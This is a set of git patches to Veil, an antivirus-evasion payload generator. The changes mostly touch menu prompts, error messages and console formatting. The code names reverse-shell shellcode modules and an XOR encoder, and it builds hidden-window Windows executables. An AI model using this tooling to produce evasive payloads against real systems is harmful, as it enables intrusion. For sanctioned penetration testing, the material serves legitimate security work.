list_selection.startswith('e'): ordnance_helpers.title_screen() self.print_encoders() @@ -287,11 +294,9 @@ def return_payload_object(self, user_selection): for payload in self.active_shellcode.values(): if user_selection.isdigit() and (0 < int(user_selection) <= len(self.active_shellcode)): if int(user_selection) == counter_value: - print ("w00t1!") return payload else: if user_selection.lower() == payload.cli_name: - print ("w00t2!") return payload # Iterate counter for number based selection @@ -403,6 +408,7 @@ def use_payload(self, payload): self.final_shellcode = payload.customized_shellcode # Print payload stats + ordnance_helpers.title_screen() payload.payload_stats() if self.invoked: dummy = input('\nHit enter to return to Veil-Evasion... ') From f97af46aa928d0fb40d28c4f3c0ffe964de566f0 Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Mon, 16 Apr 2018 18:08:52 +0100 Subject: [PATCH 30/38] Fix menu prompt --- lib/common/orchestra.py | 2 +- tools/evasion/tool.py | 2 +- tools/ordnance/tool.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/common/orchestra.py b/lib/common/orchestra.py index 9251386..fc48d5c 100644 --- a/lib/common/orchestra.py +++ b/lib/common/orchestra.py @@ -105,7 +105,7 @@ def main_menu(self): print() print() - main_menu_command = input('Main menu choice: ').strip() + main_menu_command = input('Veil>: ').strip() if main_menu_command.startswith('use'): # Check to make sure a tool is provided with use command diff --git a/tools/evasion/tool.py b/tools/evasion/tool.py index 1fdd4c0..0fe5f67 100644 --- a/tools/evasion/tool.py +++ b/tools/evasion/tool.py @@ -324,7 +324,7 @@ def tool_main_menu(self): print() show_evasion_menu = True - evasion_main_command = input('Veil-Evasion command: ').strip().lower() + evasion_main_command = input('Veil/Evasion>: ').strip().lower() if evasion_main_command.startswith("back") or evasion_main_command.startswith("main") or evasion_main_command.startswith("menu"): evasion_main_command = "" diff --git a/tools/ordnance/tool.py b/tools/ordnance/tool.py index e32f13a..b4465ce 100644 --- a/tools/ordnance/tool.py +++ b/tools/ordnance/tool.py @@ -204,7 +204,7 @@ def tool_main_menu(self, invoked=False): print() show_ordnance_menu = True - ordnance_main_command = input('Veil-Ordnance command: ').strip().lower() + ordnance_main_command = input('Veil/Ordnance>: ').strip().lower() # See if we're listing payloads or encoders if ordnance_main_command.startswith('list'): From 796236d2a0934f8873bd1525ecd863aedd9e7458 Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Tue, 17 Apr 2018 08:43:59 +0100 Subject: [PATCH 31/38] Standard payload output based on everything else --- tools/ordnance/payloads/x86/bind_tcp.py | 6 +++--- tools/ordnance/payloads/x86/rev_http.py | 8 ++++---- tools/ordnance/payloads/x86/rev_https.py | 8 ++++---- tools/ordnance/payloads/x86/rev_tcp.py | 8 ++++---- tools/ordnance/payloads/x86/rev_tcp_all_ports.py | 8 ++++---- tools/ordnance/payloads/x86/rev_tcp_dns.py | 8 ++++---- 6 files changed, 23 insertions(+), 23 deletions(-) diff --git a/tools/ordnance/payloads/x86/bind_tcp.py b/tools/ordnance/payloads/x86/bind_tcp.py index 0c822d9..f8251e4 100644 --- a/tools/ordnance/payloads/x86/bind_tcp.py +++ b/tools/ordnance/payloads/x86/bind_tcp.py @@ -97,8 +97,8 @@ def print_shellcode(self): return def payload_stats(self): - print("Payload Name: " + helpers.color(self.name)) - print("Port: " + helpers.color(str(self.required_options['LPORT'][0]))) - print("Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) + print(" [*] Payload Name: " + helpers.color(self.name)) + print(" [*] Port: " + helpers.color(str(self.required_options['LPORT'][0]))) + print(" [*] Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) print(self.customized_shellcode) return diff --git a/tools/ordnance/payloads/x86/rev_http.py b/tools/ordnance/payloads/x86/rev_http.py index ff4ef75..a66b53d 100644 --- a/tools/ordnance/payloads/x86/rev_http.py +++ b/tools/ordnance/payloads/x86/rev_http.py @@ -131,9 +131,9 @@ def print_shellcode(self): return def payload_stats(self): - print("Payload Name: " + helpers.color(self.name)) - print("IP Address: " + helpers.color(self.required_options['LHOST'][0])) - print("Port: " + helpers.color(str(self.required_options['LPORT'][0]))) - print("Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) + print(" [*] Payload Name: " + helpers.color(self.name)) + print(" [*] IP Address: " + helpers.color(self.required_options['LHOST'][0])) + print(" [*] Port: " + helpers.color(str(self.required_options['LPORT'][0]))) + print(" [*] Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) print(self.customized_shellcode) return diff --git a/tools/ordnance/payloads/x86/rev_https.py b/tools/ordnance/payloads/x86/rev_https.py index 0e9889b..6a2dee4 100644 --- a/tools/ordnance/payloads/x86/rev_https.py +++ b/tools/ordnance/payloads/x86/rev_https.py @@ -132,9 +132,9 @@ def print_shellcode(self): return def payload_stats(self): - print("Payload Name: " + helpers.color(self.name)) - print("IP Address: " + helpers.color(self.required_options['LHOST'][0])) - print("Port: " + helpers.color(str(self.required_options['LPORT'][0]))) - print("Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) + print(" [*] Payload Name: " + helpers.color(self.name)) + print(" [*] IP Address: " + helpers.color(self.required_options['LHOST'][0])) + print(" [*] Port: " + helpers.color(str(self.required_options['LPORT'][0]))) + print(" [*] Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) print(self.customized_shellcode) return diff --git a/tools/ordnance/payloads/x86/rev_tcp.py b/tools/ordnance/payloads/x86/rev_tcp.py index 6d7d5fd..5223619 100644 --- a/tools/ordnance/payloads/x86/rev_tcp.py +++ b/tools/ordnance/payloads/x86/rev_tcp.py @@ -69,10 +69,10 @@ def print_shellcode(self): def payload_stats(self): '''Prints payload stats''' - print("Payload Name: " + helpers.color(self.name)) - print("IP Address: " + helpers.color(self.required_options['LHOST'][0])) - print("Port: " + helpers.color(str(self.required_options['LPORT'][0]))) - print("Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) + print(" [*] Payload Name: " + helpers.color(self.name)) + print(" [*] IP Address: " + helpers.color(self.required_options['LHOST'][0])) + print(" [*] Port: " + helpers.color(str(self.required_options['LPORT'][0]))) + print(" [*] Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) print(self.customized_shellcode) return diff --git a/tools/ordnance/payloads/x86/rev_tcp_all_ports.py b/tools/ordnance/payloads/x86/rev_tcp_all_ports.py index d3c2b17..632e253 100644 --- a/tools/ordnance/payloads/x86/rev_tcp_all_ports.py +++ b/tools/ordnance/payloads/x86/rev_tcp_all_ports.py @@ -117,9 +117,9 @@ def print_shellcode(self): return def payload_stats(self): - print("Payload Name: " + helpers.color(self.name)) - print("IP Address: " + helpers.color(self.required_options['LHOST'][0])) - print("Port: " + helpers.color(str(self.required_options['LPORT'][0]))) - print("Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) + print(" [*] Payload Name: " + helpers.color(self.name)) + print(" [*] IP Address: " + helpers.color(self.required_options['LHOST'][0])) + print(" [*] Port: " + helpers.color(str(self.required_options['LPORT'][0]))) + print(" [*] Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) print(self.customized_shellcode) return diff --git a/tools/ordnance/payloads/x86/rev_tcp_dns.py b/tools/ordnance/payloads/x86/rev_tcp_dns.py index ad76188..3669b0c 100644 --- a/tools/ordnance/payloads/x86/rev_tcp_dns.py +++ b/tools/ordnance/payloads/x86/rev_tcp_dns.py @@ -126,9 +126,9 @@ def print_shellcode(self): return def payload_stats(self): - print("Payload Name: " + helpers.color(self.name)) - print("IP Address: " + helpers.color(self.required_options['LHOST'][0])) - print("Port: " + helpers.color(str(self.required_options['LPORT'][0]))) - print("Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) + print(" [*] Payload Name: " + helpers.color(self.name)) + print(" [*] IP Address: " + helpers.color(self.required_options['LHOST'][0])) + print(" [*] Port: " + helpers.color(str(self.required_options['LPORT'][0]))) + print(" [*] Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) print(self.customized_shellcode) return From 16246cb715180ae4ae9a4693411c6c3b27953de4 Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Tue, 17 Apr 2018 08:46:19 +0100 Subject: [PATCH 32/38] Errors look the same --- lib/common/orchestra.py | 4 ++- tools/evasion/tool.py | 58 +++++++++++++--------------------- tools/ordnance/encoders/xor.py | 14 ++++---- tools/ordnance/tool.py | 37 +++++++++++----------- 4 files changed, 50 insertions(+), 63 deletions(-) diff --git a/lib/common/orchestra.py b/lib/common/orchestra.py index fc48d5c..d02230c 100644 --- a/lib/common/orchestra.py +++ b/lib/common/orchestra.py @@ -46,14 +46,16 @@ def command_line_use(self): tool_object.cli_menu() tool_found = True if not tool_found: - print(helpers.color('Error: You did not provide a valid tool name!', warning=True)) + print(helpers.color(' [!] ERROR: You did not provide a valid tool name!', warning=True)) sys.exit() def list_tools(self, show_header = True): # Did we run a command? if show_header: # show title bar + print() messages.title_screen() + print() print(helpers.color(' [*] Available Tools:\n')) else: print("Available Tools:\n") diff --git a/tools/evasion/tool.py b/tools/evasion/tool.py index 0fe5f67..9b6609b 100644 --- a/tools/evasion/tool.py +++ b/tools/evasion/tool.py @@ -51,7 +51,7 @@ def __init__(self, cli_options=None): self.payload_option_commands = { "set": "Set shellcode option", "generate": "Generate the payload", - "back": "Go back", + "back": "Go back to Veil-Evasion", "exit": "Completely exit Veil", "options": "Show the shellcode's options" } @@ -87,7 +87,7 @@ def check_vt(self, interactive=True): input("\n [>] Press any key to continue...") except OSError: - print(helpers.color("\n [!] Error: hash list %s not found" % (settings.HASH_LIST), warning=True)) + print(helpers.color("\n [!] ERROR: hash list %s not found" % (settings.HASH_LIST), warning=True)) input("\n [>] Press any key to continue...") return @@ -137,15 +137,15 @@ def cli_menu(self, invoked=False): # process # Missing -p ? if not self.command_options.p: - print(helpers.color("[*] Error: Missing --payload selection (-p ). Try: -t Evasion --list-payloads", warning=True)) + print(helpers.color(" [!] ERROR: Missing --payload selection (-p ). Try: -t Evasion --list-payloads", warning=True)) else: user_cli_payload = self.return_payload_object(self.command_options.p) if not user_cli_payload: - print(helpers.color("[*] Error: You did not provide a valid payload selection!", warning=True)) - print(helpers.color("[*] Ex: info 2 or info lua/shellcode_inject/flat.py", warning=True)) + print(helpers.color(" [!] ERROR: You did not provide a valid payload selection!", warning=True)) + print(helpers.color(" [*] Ex: info 2 OR info lua/shellcode_inject/flat.py", warning=True)) sys.exit() if self.command_options.ip is None and ("meterpreter" in user_cli_payload.path or "shellcode_inject" in user_cli_payload.path): - print(helpers.color("[*] Error: You did not provide an IP/domain to connect to/bind on", warning=True)) + print(helpers.color(" [!] ERROR: You did not provide an IP/domain to connect to/bind on", warning=True)) sys.exit() # Make sure IP is valid @@ -155,13 +155,13 @@ def cli_menu(self, invoked=False): valid_hostname = helpers.validate_hostname(self.command_options.ip) if not valid_ip and not valid_hostname: - print(helpers.color("[*] Error: You did not provide a valid ip/domain!", warning=True)) + print(helpers.color(" [!] ERROR: You did not provide a valid ip/domain!", warning=True)) print(helpers.color("[*] Please specify the correct value", warning=True)) sys.exit() # Determine if using Ordnance or MSFVenom for shellcode generation if self.command_options.ordnance_payload is None and self.command_options.msfvenom is None and "meterpreter" not in user_cli_payload.path: - print(helpers.color("[*] Error: You did not provide a shellcode option to use!", warning=True)) + print(helpers.color(" [!] ERROR: You did not provide a shellcode option to use!", warning=True)) sys.exit() # Check if using a pure payload (shellcodeless) @@ -347,25 +347,20 @@ def tool_main_menu(self): selected_payload_module = self.return_payload_object(payload_selected) if not selected_payload_module: print() - print(helpers.color("[*] Error: You did not provide a valid payload selection!", warning=True)) - print(helpers.color("[*] Ex: info 2 or info lua/shellcode_inject/flat.py", warning=True)) + print(helpers.color(" [!] ERROR: You did not provide a valid payload selection!", warning=True)) + print(helpers.color(" [*] Ex: info 2 OR info lua/shellcode_inject/flat.py", warning=True)) print() else: self.print_options_screen(selected_payload_module) else: print() - print(helpers.color("[*] Error: You did not provide a valid payload selection!", warning=True)) - print(helpers.color("[*] Ex: info 2 or info lua/shellcode_inject/flat.py", warning=True)) + print(helpers.color(" [!] ERROR: You did not provide a valid payload selection!", warning=True)) + print(helpers.color(" [*] Ex: info 2 OR info lua/shellcode_inject/flat.py", warning=True)) print() - show_evasion_menu = False - evasion_main_command = "" elif evasion_main_command.startswith('list'): evasion_helpers.title_screen() self.list_loaded_payloads() - show_evasion_menu = False - print() - evasion_main_command = "" elif evasion_main_command.startswith('use'): if len(evasion_main_command.split()) == 2: @@ -373,23 +368,17 @@ def tool_main_menu(self): selected_payload_module = self.return_payload_object(payload_selected) if not selected_payload_module: print() - print(helpers.color("[*] Error: You did not provide a valid payload selection!", warning=True)) - print(helpers.color("[*] Ex: use 2 or use lua/shellcode_inject/flat.py", warning=True)) + print(helpers.color(" [!] ERROR: You did not provide a valid payload selection!", warning=True)) + print(helpers.color(" [*] Ex: use 2 OR use lua/shellcode_inject/flat.py", warning=True)) print() - show_evasion_menu = False else: self.use_payload(selected_payload_module) show_evasion_menu = True else: print() - print(helpers.color("[*] Error: You did not provide a valid payload selection!", warning=True)) - print(helpers.color("[*] Ex: use 2 or use lua/shellcode_inject/flat.py", warning=True)) + print(helpers.color(" [!] ERROR: You did not provide a valid payload selection!", warning=True)) + print(helpers.color(" [*] Ex: use 2 OR use lua/shellcode_inject/flat.py", warning=True)) print() - show_evasion_menu = False - evasion_main_command = "" - - else: - evasion_main_command = "" return def use_payload(self, selected_payload): @@ -444,32 +433,29 @@ def use_payload(self, selected_payload): selected_payload.required_options[key][0] = value else: print() - print(helpers.color("[*] Error: You did not provide a valid IP!", warning=True)) + print(helpers.color(" [!] ERROR: You did not provide a valid IP!", warning=True)) print() - payload_options_command = "" # Validate LPORT elif key is "LPORT": if helpers.validate_port(value): selected_payload.required_options[key][0] = value else: print() - print(helpers.color("[*] Error: You did not provide a valid port number!", warning=True)) + print(helpers.color(" [!] ERROR: You did not provide a valid port number!", warning=True)) print() - payload_options_command = "" else: # Set other options selected_payload.required_options[key][0] = value else: print() - print(helpers.color("[*] Error: You did not provide a valid option!", warning=True)) - print(helpers.color("[*] Ex: set LHOST 8.8.8.8", warning=True)) + print(helpers.color(" [!] ERROR: You did not provide a valid option!", warning=True)) + print(helpers.color(" [*] Ex: set LHOST 8.8.8.8", warning=True)) print() else: print() - print(helpers.color("[*] Error: You did not provide a valid amount of arguments!", warning=True)) - print(helpers.color("[*] Ex: set DOMAIN christest.com", warning=True)) + print(helpers.color(" [!] ERROR: You did not provide a valid amount of arguments!", warning=True)) + print(helpers.color(" [*] Ex: set DOMAIN christest.com", warning=True)) print() - payload_options_command = "" return diff --git a/tools/ordnance/encoders/xor.py b/tools/ordnance/encoders/xor.py index 74711c4..25cc4f7 100644 --- a/tools/ordnance/encoders/xor.py +++ b/tools/ordnance/encoders/xor.py @@ -93,7 +93,7 @@ def encode_routine(self, incoming_payload): # Ensure a key was found... if not, error out if self.xor_key == 0x00: - print("[*] ERROR: No key found... Stop being so picky and change your bad chars!") + print(" [!] ERROR: No key found... Stop being so picky and change your bad chars!") exit else: # XOR all the things @@ -149,8 +149,8 @@ def set_bad_characters(self, payload_obj): # Do some validation on the received characters for item in bad_characters: if item in self.encoder_bad_chars: - print(helpers.color("[*] Encoder Error: Bad character specified is used for the decoder stub.", warning=True)) - print(helpers.color("[*] Encoder Error: Please use different bad characters or another encoder!", warning=True)) + print(helpers.color(" [!] ERROR: Encoder - Bad character specified is used for the decoder stub.", warning=True)) + print(helpers.color(" [!] ERROR: Encoder - Please use different bad characters or another encoder!", warning=True)) sys.exit() else: if len(item) == 2: @@ -161,14 +161,14 @@ def set_bad_characters(self, payload_obj): final_bad_chars.append(item) else: print() - print(helpers.color("[*] Bad Character Error (1): Invalid bad character detected.", warning=True)) - print(helpers.color("[*] Bad Character Error: Please provide bad characters in \\x00\\x02... format.", warning=True)) + print(helpers.color(" [!] ERROR: Bad Character - #1: Invalid bad character detected.", warning=True)) + print(helpers.color(" [!] ERROR: Bad Character - Please provide bad characters in \\x00\\x02... format.", warning=True)) print() return else: print() - print(helpers.color("[*] Bad Character Error (2): Invalid bad character detected.", warning=True)) - print(helpers.color("[*] Bad Character Error: Please provide bad characters in \\x00\\x01... format.", warning=True)) + print(helpers.color(" [!] ERROR: Bad Character - #2: Invalid bad character detected.", warning=True)) + print(helpers.color(" [!] ERROR: Bad Character - Please provide bad characters in \\x00\\x01... format.", warning=True)) print() return self.bad_chars = [int("0x" + x, 16) for x in final_bad_chars] diff --git a/tools/ordnance/tool.py b/tools/ordnance/tool.py index b4465ce..3fb4a6d 100644 --- a/tools/ordnance/tool.py +++ b/tools/ordnance/tool.py @@ -63,18 +63,18 @@ def cli_menu(self, invoked=False): # Now let's check for payloads we're doing # Missing --ordnance-payload ? if not self.command_options.ordnance_payload: - print(helpers.color("[*] Error: Missing ordnance-payload selection (--ordnance-payload ). Try: -t Ordnance --list-payloads", warning=True)) + print(helpers.color(" [!] ERROR: Missing ordnance-payload selection (--ordnance-payload ). Try: -t Ordnance --list-payloads", warning=True)) else: payload_selected = self.command_options.ordnance_payload.lower() payload = self.return_payload_object(payload_selected) if not payload: - print(helpers.color("[*] Error: You specified a non-existent Ordnance payload!", warning=True)) + print(helpers.color(" [!] ERROR: You specified a non-existent Ordnance payload!", warning=True)) sys.exit() else: if "LHOST" in payload.required_options: # Is --ip missing? if self.command_options.ip is None: - print(helpers.color("[*] Error: Missing --ip ", warning=True)) + print(helpers.color(" [!] ERROR: Missing --ip ", warning=True)) sys.exit() else: valid_ip = helpers.validate_ip(self.command_options.ip) @@ -85,16 +85,16 @@ def cli_menu(self, invoked=False): if payload.cli_name == 'rev_tcp_dns': payload.required_options["LHOST"][0] = self.command_options.ip else: - print(helpers.color("[*] Error: Invalid IP/Hostname specified!", warning=True)) + print(helpers.color(" [!] ERROR: Invalid IP/Hostname specified!", warning=True)) sys.exit() else: - print(helpers.color("[*] Error: Invalid IP/Hostname specified!", warning=True)) + print(helpers.color(" [!] ERROR: Invalid IP/Hostname specified!", warning=True)) sys.exit() if "LPORT" in payload.required_options: if 0 < self.command_options.port < 65535: payload.required_options["LPORT"][0] = self.command_options.port else: - print(helpers.color("[*] Error: Invalid port number provided!", warning=True)) + print(helpers.color(" [!] ERROR: Invalid port number provided!", warning=True)) print(helpers.color("[*] Try again?", warning=True)) sys.exit() # Generate the original shellcode @@ -110,7 +110,7 @@ def cli_menu(self, invoked=False): encoder_found_here = True loaded_encoder.cli_encode(payload) if not encoder_found_here: - print(helpers.color("[*] Error: Encoder you specified was not found!", warning=True)) + print(helpers.color(" [!] ERROR: Encoder you specified was not found!", warning=True)) print(helpers.color("[*] Try again?", warning=True)) sys.exit() self.final_shellcode = payload.customized_shellcode @@ -312,12 +312,13 @@ def use_encoder(self, incoming_pload): if not encoder_found: print() - print(helpers.color("[*] Error: Encoder not found! Printing non-encoded shellcode!", warning=True)) + print(helpers.color(" [!] ERROR: Encoder not found! Printing non-encoded shellcode!", warning=True)) print() return def use_payload(self, payload): while ordnance_helpers.loop_req_options(payload): + # Soon as we load the payload, show options self.print_options_screen(payload) while True: @@ -344,48 +345,46 @@ def use_payload(self, payload): value[0] = shellcode_command.split()[2] if not found_req_option: print() - print(helpers.color("[*] Error: You didn't provide a correct option to set, please retry!", warning=True)) + print(helpers.color(" [!] ERROR: You didn't provide a correct option to set, please retry!", warning=True)) print() elif shellcode_command.startswith("exit") or shellcode_command.startswith("quit"): - # Completely exit out of Veil sys.exit(0) elif shellcode_command.startswith("back") or shellcode_command.startswith("main") or shellcode_command.startswith("menu"): - # Go back to shellcode selection - shellcode_command = "" - breakout = True + show_payload_menu = True break elif shellcode_command.startswith("list"): + print() ordnance_helpers.title_screen() print() self.print_encoders() - print() elif shellcode_command.startswith("gen") or shellcode_command.startswith("run"): lport_out = "" lhost_out = "" rhost_out = "" if ordnance_helpers.loop_req_options(payload): print() - print(helpers.color("[*] Error: You didn't provide all the required options!", warning=True)) + print(helpers.color(" [!] ERROR: You didn't provide all the required options!", warning=True)) print() else: safe_to_generate = True if "LHOST" in payload.required_options: if not ordnance_helpers.check_lhost(payload.required_options["LHOST"][0]): print() - print(helpers.color("[*] Error: You didn't provide a valid IP address!", warning=True)) - print(helpers.color("[*] Error: Try again :)", warning=True)) + print(helpers.color(" [!] ERROR: You didn't provide a valid IP address!", warning=True)) + print(helpers.color(" [!] ERROR: Try again :)", warning=True)) print() safe_to_generate = False if "LPORT" in payload.required_options: if not ordnance_helpers.check_lport(payload.required_options["LPORT"][0]): print() - print(helpers.color("[*] Error: You didn't provide a valid LPORT value!", warning=True)) - print(helpers.color("[*] Error: Try again :)", warning=True)) + print(helpers.color(" [!] ERROR: You didn't provide a valid LPORT value!", warning=True)) + print(helpers.color(" [!] ERROR: Try again :)", warning=True)) print() safe_to_generate = False if safe_to_generate: # Generate the shellcode payload.gen_shellcode() + # Gather information to generate handler if requested self.final_shellcode = payload.customized_shellcode if "LHOST" in payload.required_options: From 82e594b1c33df8dc0ad90c4b70b73121276297ab Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Tue, 17 Apr 2018 08:46:50 +0100 Subject: [PATCH 33/38] Menu and output work --- lib/common/orchestra.py | 34 +---- .../evasion/evasion_common/evasion_helpers.py | 3 +- tools/evasion/evasion_common/outfile.py | 22 ++- .../evasion/evasion_common/shellcode_help.py | 10 +- tools/evasion/tool.py | 21 +-- tools/ordnance/tool.py | 140 ++++++++---------- 6 files changed, 101 insertions(+), 129 deletions(-) diff --git a/lib/common/orchestra.py b/lib/common/orchestra.py index d02230c..99a2fe6 100644 --- a/lib/common/orchestra.py +++ b/lib/common/orchestra.py @@ -89,7 +89,7 @@ def main_menu(self): try: # Loop for the main menu, will always loop as long as command is '' - while main_menu_command == '': + while True: comp = completer.VeilMainMenuCompleter(self.mainmenu_commands, self.imported_tools) readline.set_completer_delims(' \t\n;') readline.parse_and_bind("tab: complete") @@ -105,8 +105,8 @@ def main_menu(self): for command in sorted(self.mainmenu_commands.keys()): print("\t" + helpers.color(command) + '\t\t\t' + self.mainmenu_commands[command]) print() + show_header = False - print() main_menu_command = input('Veil>: ').strip() if main_menu_command.startswith('use'): @@ -116,10 +116,8 @@ def main_menu(self): # List tools, don't show header, loop back in main menu self.list_tools() show_header = False - main_menu_command = "" elif len(main_menu_command.split()) == 2: - # Grab the command, either the number or word tool_choice = main_menu_command.split()[1] @@ -131,10 +129,7 @@ def main_menu(self): # if the entered number matches the payload, use that payload if int(tool_choice) == tool_number: tool_object.tool_main_menu() - tool_number += 1 - show_header = True - else: - tool_number += 1 + tool_number += 1 show_header = True # Else if selecting payload by name @@ -146,26 +141,17 @@ def main_menu(self): show_header = True # Once done with tool, clear main menu command - main_menu_command = "" show_header = True - # Catch anything else, like an error - else: - main_menu_command = "" - elif main_menu_command.startswith('list'): # List tools, don't show header, loop back in main menu self.list_tools() - show_header = False - main_menu_command = "" elif main_menu_command.startswith('info'): if len(main_menu_command.split()) == 1: show_header = True - main_menu_command = "" elif len(main_menu_command.split()) == 2: - # Grab the command, either the number or word info_choice = main_menu_command.split()[1] @@ -179,7 +165,6 @@ def main_menu(self): print() print(helpers.color(tool_object.cli_name) + " => " + tool_object.description) print() - show_header = False tool_number += 1 # If the entered name matches the tool, use that tool @@ -189,39 +174,26 @@ def main_menu(self): print() print(helpers.color(tool_object.cli_name) + " => " + tool_object.description) print() - show_header = False - - main_menu_command = "" - else: - main_menu_command = "" show_header = True elif main_menu_command.startswith('option'): self.options_veil() - main_menu_command = "" # Hidden menu option elif main_menu_command.startswith('config'): self.config_veil() - main_menu_command = "" # Hidden menu option elif main_menu_command.startswith('setup'): self.setup_veil() - main_menu_command = "" elif main_menu_command.startswith('update'): self.update_veil() - main_menu_command = "" elif main_menu_command.startswith('exit') or main_menu_command.startswith('quit'): sys.exit() - else: - show_header = True - main_menu_command = "" - except KeyboardInterrupt: print("\n\n" + helpers.color("^C. Quitting...", warning=True)) sys.exit() diff --git a/tools/evasion/evasion_common/evasion_helpers.py b/tools/evasion/evasion_common/evasion_helpers.py index 486af84..1d30486 100644 --- a/tools/evasion/evasion_common/evasion_helpers.py +++ b/tools/evasion/evasion_common/evasion_helpers.py @@ -114,11 +114,12 @@ def print_dict_message(commands, show_title=True): if show_title: title_screen() - print(" Available Commands:\n") + print(helpers.color(" Available Commands:\n")) # list commands in sorted order for (cmd, desc) in sorted(commands.items()): print("\t%s\t%s" % ('{0: <12}'.format(cmd), desc)) + print() return diff --git a/tools/evasion/evasion_common/outfile.py b/tools/evasion/evasion_common/outfile.py index 0d45dbc..caf53dd 100644 --- a/tools/evasion/evasion_common/outfile.py +++ b/tools/evasion/evasion_common/outfile.py @@ -64,10 +64,12 @@ def compiler(payload_object, invoked=False, cli_object=None): compile_method = 'py2exe' else: if payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y' and not invoked: + print() evasion_helpers.title_screen() + print() # if we have a linux distro, continue... # Determine if the user wants Pyinstaller, Pwnstaller, or Py2Exe. - print('\n [?] How would you like to create your payload executable?\n') + print(' [?] How would you like to create your payload executable?\n') print(' %s - Pyinstaller %s' % (helpers.color('1'), helpers.color('(default)', yellow=True))) print(' %s - Py2Exe\n' % (helpers.color('2'))) @@ -102,7 +104,9 @@ def compiler(payload_object, invoked=False, cli_object=None): runme_file.write('rmdir /S /Q build\n') runme_file.write('rmdir /S /Q dist\n') + print() evasion_helpers.title_screen() + print() print_payload_information(payload_object) print(helpers.color("\npy2exe files 'setup.py' and 'runme.bat' written to:\n" + settings.PAYLOAD_SOURCE_PATH + "\n")) @@ -123,7 +127,9 @@ def compiler(payload_object, invoked=False, cli_object=None): random_key = evasion_helpers.randomString() os.system('WINEPREFIX=' + settings.WINEPREFIX + ' wine ' + settings.WINEPREFIX + '/drive_c/Python34/python.exe' + ' ' + os.path.expanduser(settings.PYINSTALLER_PATH + '/pyinstaller.py') + ' --onefile --noconsole --key ' + random_key + ' ' + source_code_filepath) + print() evasion_helpers.title_screen() + print() if os.path.isfile('dist/' + file_name + ".exe"): os.system('mv dist/' + file_name + ".exe " + settings.PAYLOAD_COMPILED_PATH) @@ -158,7 +164,9 @@ def compiler(payload_object, invoked=False, cli_object=None): if payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y': os.system('WINEPREFIX=' + settings.WINEPREFIX + ' wine ' + settings.WINEPREFIX + '/drive_c/Ruby187/bin/ruby.exe ' + settings.WINEPREFIX + '/drive_c/Ruby187/bin/ocra --windows '+ source_code_filepath + ' --output ' + executable_filepath + ' ' + settings.WINEPREFIX + '/drive_c/Ruby187/lib/ruby/gems/1.8/gems/win32-api-1.4.8-x86-mingw32/lib/win32/*') + print() evasion_helpers.title_screen() + print() if os.path.isfile(executable_filepath): hash_executable(executable_filepath, file_name) @@ -169,7 +177,9 @@ def compiler(payload_object, invoked=False, cli_object=None): print(" [*] Source code written to: " + helpers.color(source_code_filepath)) elif payload_object.language == 'powershell': + print() evasion_helpers.title_screen() + print() print_payload_information(payload_object) print(" [*] PowerShell doesn't compile, so you just get text :)") print(" [*] Source code written to: " + helpers.color(source_code_filepath)) @@ -190,7 +200,7 @@ def compiler(payload_object, invoked=False, cli_object=None): if os.path.isfile(path_here): hash_executable(path_here, file_name) print_payload_information(payload_object) - print(" [*] Exe file written to: " + helpers.color(path_here)) + print(" [*] Executable written to: " + helpers.color(path_here)) else: print(helpers.color(" [!] ERROR: Unable to create Exe file.", warning=True)) @@ -204,7 +214,9 @@ def compiler(payload_object, invoked=False, cli_object=None): # Compile go payload os.system( 'env GOROOT={0} GOOS=windows GOARCH=386 {0}/bin/go build -ldflags "-s -w -H=windowsgui" -v -o {1} {2}'.format(settings.GOLANG_PATH, executable_filepath, source_code_filepath) ) + print() evasion_helpers.title_screen() + print() if os.path.isfile(executable_filepath): hash_executable(executable_filepath, file_name) @@ -219,7 +231,9 @@ def compiler(payload_object, invoked=False, cli_object=None): # Compile our CS code into an executable and pass a compiler flag to prevent it from opening a command prompt when run os.system('mcs -platform:x86 -target:winexe ' + source_code_filepath + ' -out:' + executable_filepath) + print() evasion_helpers.title_screen() + print() if os.path.isfile(executable_filepath): hash_executable(executable_filepath, file_name) @@ -234,7 +248,9 @@ def compiler(payload_object, invoked=False, cli_object=None): # Compile our C code into an executable and pass a compiler flag to prevent it from opening a command prompt when run os.system('i686-w64-mingw32-gcc -Wl,-subsystem,windows ' + source_code_filepath + ' -o ' + executable_filepath + " -lwsock32") + print() evasion_helpers.title_screen() + print() if os.path.isfile(executable_filepath): hash_executable(executable_filepath, file_name) @@ -270,7 +286,7 @@ def compiler(payload_object, invoked=False, cli_object=None): print(" [*] Metasploit Resource file written to: " + helpers.color(settings.HANDLER_PATH + file_name + '.rc')) if not invoked: - dummy = input('\nHit enter to continue... ') + dummy = input('\nHit enter to continue...\n') # End of if statement checking to make sure payload_source_code is # not empty diff --git a/tools/evasion/evasion_common/shellcode_help.py b/tools/evasion/evasion_common/shellcode_help.py index 2607c79..e208d06 100644 --- a/tools/evasion/evasion_common/shellcode_help.py +++ b/tools/evasion/evasion_common/shellcode_help.py @@ -182,9 +182,11 @@ def payload_selection_menu(self, showTitle=True): # print out the main title to reset the interface if showTitle: + print() evasion_helpers.title_screen() - print(' [?] Generate or supply custom shellcode?\n') + print() + print(helpers.color(" [?] Generate or supply custom shellcode?\n")) print(' %s - Ordnance %s' % (helpers.color('1'), 